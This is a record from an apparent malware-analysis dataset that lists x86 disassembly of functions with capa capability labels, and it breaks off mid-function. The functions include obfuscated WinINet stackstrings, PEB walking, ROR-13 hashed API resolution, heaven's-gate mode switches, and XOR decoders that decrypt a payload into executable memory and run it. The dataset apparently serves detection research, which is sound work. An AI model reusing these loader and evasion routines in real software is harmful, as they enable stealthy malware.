joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x968]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x646e6553
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.00418e80
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x4189c3
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4189d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x96c]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x64616552
mov dword [ebp - 8], 0x656c6946
mov byte [ebp - 4], 0
call fcn.00418e80
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x418a2f
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x418a40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x970]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x736f6c43
mov dword [ebp - 8], 0x6e614865
mov dword [ebp - 4], 0x656c64
call fcn.00418e80
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x418a96
mov eax, dword [ebp + 0xc]
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x419280
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x4192e6
cmp dword [esi + 0x18], 0
je 0x419301
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.0041ac30
add esp, 8
test eax, eax
jne 0x4192de
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x4192c0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x419301
mov eax, dword [esi + 0x18]
test eax, eax
je 0x419301
cmp eax, ecx
je 0x4192de
mov esi, dword [esi]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x4192f4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x419310
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x419368
cmp dword [esi + 0x18], 0
je 0x419368
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.0041ac30
add esp, 8
test eax, eax
jne 0x419370
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x419350
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x419380
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x4193d8
cmp dword [esi + 0x18], 0
je 0x4193d8
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.0041ac30
add esp, 8
test eax, eax
jne 0x4193e0
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x4193c0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x30]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x419490
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
xor ecx, ecx
test edx, edx
je 0x4194d4
cmp dword [eax + 0x18], 0
je 0x4194d4
mov eax, dword [eax]
inc ecx
cmp ecx, edx
jb 0x4194c7
mov esp, ebp
pop ebp
ret

Function at 0x4194e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x103
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.00419d30
add esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
cmp dword [esi + 0x18], 0
je 0x41956b
mov edi, dword [ebp + 8]
lea esp, [esp]
mov eax, dword [esi + 0x30]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.0041a350
lea edx, [ebp - 0x10c]
push edx
push edi
call fcn.00413de0
add esp, 0x10
test eax, eax
jne 0x419573
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x419540
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4199e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x4199ee
xor eax, eax
pop ebp
ret
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4199ea
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x4199ea
mov edx, dword [ebp + 8]
push esi
mov dword [edx], eax
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [edx + 4], esi
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [edx + 8], ecx
mov eax, 1
pop esi
pop ebp
ret

Function at 0x419a60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x419a84
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x419a84
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x419a8c
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebp + 8]
push esi
inc edx
push edx
push eax
call fcn.00419e60
mov ecx, dword [ebx + 0x50]
mov esi, eax
push ecx
push esi
call fcn.00419ce0
mov edx, dword [ebx + 0x54]
push edx
push edi
push esi
call fcn.00419cb0
xor edx, edx
xor eax, eax
add esp, 0x1c
mov dword [ebp - 4], edx
cmp ax, word [ebx + 6]
jae 0x419b1e
mov dword [ebp + 0xc], edx
jmp 0x419ac9
xor edx, edx
mov ecx, dword [edi + 0x3c]
add ecx, dword [ebp + 0xc]
lea eax, [ecx + esi + 0xf8]
mov ecx, dword [eax + 0x10]
cmp ecx, edx
jne 0x419ae0
mov dword [eax + 0x14], edx
mov edx, dword [eax + 8]
cmp ecx, edx
jbe 0x419af6
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, edi
push edx
add eax, esi
push eax
jmp 0x419b03
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x14]
add ecx, edi
push ecx
add edx, esi
push edx
call fcn.00419cb0
mov eax, dword [ebp - 4]
movzx ecx, word [ebx + 6]
add dword [ebp + 0xc], 0x28
inc eax
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x419ac7
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419b30
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x419b50
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x419b50
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
je 0x419b54
xor eax, eax
pop ebp
ret
mov eax, dword [eax + ecx + 0x2c]
add eax, ecx
pop ebp
ret

Function at 0x419bd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x419bf0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x419bf0
mov edx, dword [eax + 0x3c]
cmp dword [eax + edx], 0x4550
je 0x419bf4
xor eax, eax
pop ebp
ret
mov eax, dword [eax + edx + 0x28]
test eax, eax
je 0x419bf0
add eax, dword [ebp + 0xc]
pop ebp
ret
Function at 0x41a910
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
cmp esi, 0x5d
jae 0x41ab4c
push ebx
push edi
push 0x773
push eax
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
lea eax, [ebp - 0x793]
mov cl, 0xe7
push eax
mov dword [ebp - 0x20], 0x6c6c642e
mov dword [ebp - 0x820], 0xbee14005
mov dword [ebp - 0x81c], 0xc8066c2a
mov dword [ebp - 0x818], 0xccdfc1a9
mov dword [ebp - 0x814], 0xe245063a
mov dword [ebp - 0x810], 0x3ad226d0
mov dword [ebp - 0x80c], 0x8450707
mov dword [ebp - 0x808], 0xe0c8cb23
mov dword [ebp - 0x804], 0x4337a708
mov dword [ebp - 0x800], 0x57e44962
mov dword [ebp - 0x7fc], 0xa6aa08e7
mov dword [ebp - 0x7f8], 0x6525dcb0
mov dword [ebp - 0x7f4], 0x7b08e760
mov dword [ebp - 0x7f0], 0x1eb386be
mov dword [ebp - 0x7ec], 0x8e7a01f
mov dword [ebp - 0x7e8], 0xefa2d823
mov dword [ebp - 0x7e4], 0xe7a01f26
mov dword [ebp - 0x7e0], 0xa8fc2209
mov dword [ebp - 0x7dc], 0x4f1cc7ee
mov dword [ebp - 0x7d8], 0xef094116
mov dword [ebp - 0x7d4], 0x8ca89392
mov dword [ebp - 0x7d0], 0x4157a323
mov dword [ebp - 0x7cc], 0x9f8f1d09
mov dword [ebp - 0x7c8], 0xa3269dc3
mov dword [ebp - 0x7c4], 0x74094157
mov dword [ebp - 0x7c0], 0x507d60c3
mov dword [ebp - 0x7bc], 0x41107c91
mov dword [ebp - 0x7b8], 0x6357590b
mov dword [ebp - 0x7b4], 0x1deab58a
mov dword [ebp - 0x7b0], 0xf708ac79
mov dword [ebp - 0x7ac], 0x73ade308
mov dword [ebp - 0x7a8], 0xa1651ec6
mov dword [ebp - 0x7a4], 0xca3d06e7
mov dword [ebp - 0x7a0], 0x3ad226c4
mov dword [ebp - 0x79c], 0xb2fc3308
mov dword [ebp - 0x798], 0x615506cf
mov byte [ebp - 0x794], cl
call fcn.00419d30
add esp, 0xc
lea eax, [ebp - 0x820]
test esi, esi
je 0x41aadc
dec esi
movzx ecx, byte [eax]
lea eax, [eax + ecx + 1]
jne 0x41aad2
lea esi, [eax + 1]
movzx eax, byte [eax]
lea edx, [ebp - 0x20]
push edx
push eax
push esi
call fcn.00409a30
xor eax, eax
add esp, 0xc
cmp byte [esi], al
je 0x41aafd
inc eax
cmp byte [esi + eax], 0
jne 0x41aaf6
mov ebx, dword [ebp + 8]
inc eax
push eax
push esi
push ebx
call fcn.00419cb0
add esp, 0xc
xor edi, edi
cmp byte [ebx], 0
je 0x41ab1a
inc edi
cmp byte [edi + ebx], 0
jne 0x41ab13
xor esi, esi
cmp byte [ebp - 0x20], 0
je 0x41ab2a
inc esi
cmp byte [ebp + esi - 0x20], 0
jne 0x41ab22
test esi, esi
je 0x41ab3f
push esi
lea ecx, [ebp - 0x20]
lea eax, [edi + ebx]
push ecx
push eax
call fcn.00419d00
add esp, 0xc
add esi, edi
pop edi
mov byte [esi + ebx], 0
mov eax, 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x416666
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x416675
pop dword [ebp - 0x1c]
mov eax, 0x45755dfc
sub eax, 0x4533f787
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x67e26fbf
sub dword [ebp - 0x2c], 0x19902a74
mov dword [ebp - 0x28], 0x5e1353db
add dword [ebp - 0x28], 0xd41ff86a
mov dword [ebp - 0x24], 0xccd54f2c
sub dword [ebp - 0x24], 0x80890afe
mov dword [ebp - 0x20], 0xc3a74400
add dword [ebp - 0x20], 0x3c58bc00
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x2a37b516
add eax, 0xd60a7b5e
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xd9f60bf9
add dword [ebp - 0x2c], 0x9a7c5d5d
mov dword [ebp - 0x28], 0xeaad4aeb
sub dword [ebp - 0x28], 0xa940e976
mov dword [ebp - 0x24], 0x1eed2f09
add dword [ebp - 0x24], 0x44823d63
mov dword [ebp - 0x20], 0x5975e6e1
add dword [ebp - 0x20], 0xa68a191f
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c2f1
push 0
call eax
mov ecx, 0x41fa
mov edx, eax
mov ebx, 0xb2483f93
add ebx, 0x4dfb046d
add ebx, dword [ebp - 0x1c]
mov esi, 0xa3839953
mov edi, dword [ebx]
sub dword [ebp - 4], 0x4189d142
xor edi, esi
sub dword [ebp - 0x10], 0x4dbdc4ad
mov dword [edx], edi
add edx, 0xdaeb255
add edx, 0xf2514daf
add ebx, 4
loop 0x416786
add eax, 0xfabb
mov ebx, eax
add eax, 5
mov ecx, 0x67ecb075
add ecx, 0x98534f8b
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x406abb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
cmp dword [ebp + 0x14], 0
jl 0x406ae3
cmp dword [ebp + 0x14], 3
jg 0x406ae3
xor eax, eax
jmp 0x406ae8
mov eax, 1
test eax, eax
je 0x406afc
mov dword [ebp - 4], 1
jmp 0x406b6d
fild dword [ebp + 0x14]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x41228c]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
call fcn.0040199c
cmp eax, 1
jl 0x406b20
cmp eax, 5
jl 0x406b37
push 0xb7
push 0x4016e9a
push 9
call fcn.0040d5c3
add esp, 0xc
dec eax
call 0x406b3d
pop ebx
add ebx, dword [eax*4 + 0x4124ec]
jmp ebx
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov eax, str.Open
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004065f5
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x406b9d
push ebx
call fcn.0040d5b7
add esp, 4
push 0x4124e2
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ecx, 2
call fcn.00401c79
add esp, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 0x4124e2
test eax, eax
je 0x406bc9
add eax, 8
push eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x406bd4
add eax, 8
push eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x406be1
add eax, 8
push eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x406bec
add eax, 8
push eax
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x406c18
push 0x152
push 0x4016e9a
push 6
call fcn.0040d5c3
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x406c2b
push ebx
call fcn.0040d5b7
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x406c3b
push ebx
call fcn.0040d5b7
add esp, 4
cmp dword [ebp - 0x1c], 2
mov eax, 0
setne al
jmp 0x406c4c
mov esp, ebp
pop ebp
ret 0x14
Function at 0x408dcc
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x415a02]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x408e07
add dword [esp], 5
retf

Function at 0x408f39
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x415a02]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x408f74
add dword [esp], 5
retf

Function at 0x409aa5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x415a02]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409ae0
add dword [esp], 5
retf

Function at 0x409bd6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x415a02]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409c11
add dword [esp], 5
retf

Function at 0x40ae87
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40aeb3
add dword [esp], 5
retf
Function at 0x40b3a6
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40b3f3
mov al, cl
cmp al, 0x61
jb 0x40b3ce
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40b3f3
mov al, cl
cmp al, 0x61
jb 0x40b3e6
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40b3bf
cmp edx, dword [esp + 0x18]
je 0x40b403
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40b3b8
xor eax, eax
jmp 0x40b406
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40b40e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40b4f5
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40b4fb
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40b45a
cmp al, 0x61
jb 0x40b452
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40b445
cmp edx, dword [esp + 0x14]
je 0x40b46a
dec ecx
jne 0x40b43a
xor eax, eax
jmp 0x40b4f5
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40b4f5
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40b4f5
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40b4a6
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40b4b5
jmp 0x40b49d
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.0040b3a6
test eax, eax
je 0x40b4f5
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40b4f0
cmp al, 0x61
jb 0x40b4e8
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40b4db
call fcn.0040b40e
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x40b513
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x40b513
sub edx, ecx
mov ecx, edx
jmp 0x40b46a
xor eax, eax
jmp 0x40b4f5
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40673a
pop dword [ebp - 0x24]
mov eax, 0x7ef23e01
sub eax, 0x7eb1d6c7
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x73cc7ae4
add dword [ebp - 0x34], 0xda85ca67
mov dword [ebp - 0x30], 0xcfc22b80
sub dword [ebp - 0x30], 0x9d8edf3b
mov dword [ebp - 0x2c], 0xd930f849
add dword [ebp - 0x2c], 0x731b4be5
mov dword [ebp - 0x28], 0xd12f752c
add dword [ebp - 0x28], 0x2ed08ad4
lea eax, [ebp - 0x34]
push eax
mov eax, 0xe6efa7ce
sub eax, 0xe6af26ca
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x98f961f3
sub dword [ebp - 0x34], 0x2486f89d
mov dword [ebp - 0x30], 0xb08733d0
sub dword [ebp - 0x30], 0x6f1ad25b
mov dword [ebp - 0x2c], 0xe5f6e181
add dword [ebp - 0x2c], 0x7d788aeb
mov dword [ebp - 0x28], 0xe97539ba
add dword [ebp - 0x28], 0x168ac646
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xce8bc65c
add eax, 0x31b4baa4
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x391f5
push 0
call eax
mov ecx, 0xdb188b3
sub ecx, 0xdb13a46
mov esi, eax
mov edi, 0x63dde640
sub edi, 0x63970240
add edi, dword [ebp - 0x24]
mov edx, 0xa562661b
sub edx, 0xd3b1cb6
xor dword [ebp - 0x10], 0xe7fd858c
mov ebx, dword [edi]
xor dword [ebp - 0x18], 0x9b1187cd
sub ebx, edx
mov dword [esi], ebx
sub dword [ebp - 8], 0x36794114
add esi, 0x7430a742
sub esi, 0x7430a73e
add edi, 0x969f9fec
add edi, 0x69606018
loop 0x40685c
add eax, 0xc311774a
sub eax, 0xc3104ac3
mov ebx, eax
add eax, 5
mov ecx, 0x3e0fd0d6
sub ecx, 0x3dcfd0d6
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x451a9b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x451aaa
pop dword [ebp - 0x48]
mov eax, 0x451aaa
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x49406a42
sub dword [ebp - 0x58], 0xfaee24f7
mov dword [ebp - 0x54], 0x1ae6bcf6
sub dword [ebp - 0x54], 0xe8b370b1
mov dword [ebp - 0x50], 0x53a20117
add dword [ebp - 0x50], 0xf8aa4317
mov dword [ebp - 0x4c], 0xc4d3e99b
add dword [ebp - 0x4c], 0x3b2c1665
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x1f636de7
sub dword [ebp - 0x58], 0xaaf10491
mov dword [ebp - 0x54], 0xa9c5c1d
add dword [ebp - 0x54], 0x36d00558
mov dword [ebp - 0x50], 0x1aca11e4
sub dword [ebp - 0x50], 0xb75aa578
mov dword [ebp - 0x4c], 0x8c0712e0
add dword [ebp - 0x4c], 0x73f8ed20
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x83f231f0
add eax, 0x7c575e34
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x6bb1d
push 0
call eax
mov ecx, 0xf0db58ec
add ecx, 0xf24e688
mov ebx, eax
mov edx, 0xfaead7fa
sub edx, 0xfa9e79fa
add edx, dword [ebp - 0x48]
mov edi, 0x3ea683c6
add edi, 0x1db11963
add dword [ebp - 0x1c], eax
mov esi, dword [edx]
xor dword [ebp - 0x10], edx
sub esi, edi
sub dword [ebp - 0x40], 0x53a832ad
mov dword [ebx], esi
add ebx, 0xa306ac00
add ebx, 0x5cf95404
add edx, 0xce8a1f8
sub edx, 0xce8a1f4
loop 0x451bc2
add eax, 0xf0a3
xor ebx, ebx
add ebx, eax
add eax, 0x271a8965
sub eax, 0x271a8960
mov ecx, 0x427c78e0
add ecx, 0xbdc38720
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x2580f206
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x2580f215
pop dword [ebp - 0x44]
mov eax, 0x679cfd8a
sub eax, 0x421c0b75
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x83590eb
sub dword [ebp - 0x54], 0xb9e34ba0
mov dword [ebp - 0x50], 0x6091cc21
add dword [ebp - 0x50], 0xd1a18024
mov dword [ebp - 0x4c], 0x7a7b88d7
sub dword [ebp - 0x4c], 0x2e2f44a9
mov dword [ebp - 0x48], 0x69e4237b
add dword [ebp - 0x48], 0x961bdc85
lea eax, [ebp - 0x54]
push eax
mov eax, 0x7ef3c70e
add eax, 0xa68e0936
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xbbaa3573
add dword [ebp - 0x54], 0xb8c833e3
mov dword [ebp - 0x50], 0x90894217
sub dword [ebp - 0x50], 0x4f1ce0a2
mov dword [ebp - 0x4c], 0x2f2b81e6
sub dword [ebp - 0x4c], 0xcbbc157a
mov dword [ebp - 0x48], 0x41748af3
sub dword [ebp - 0x48], 0x41748af3
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x816a7bd7
sub eax, 0x5be8ab57
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
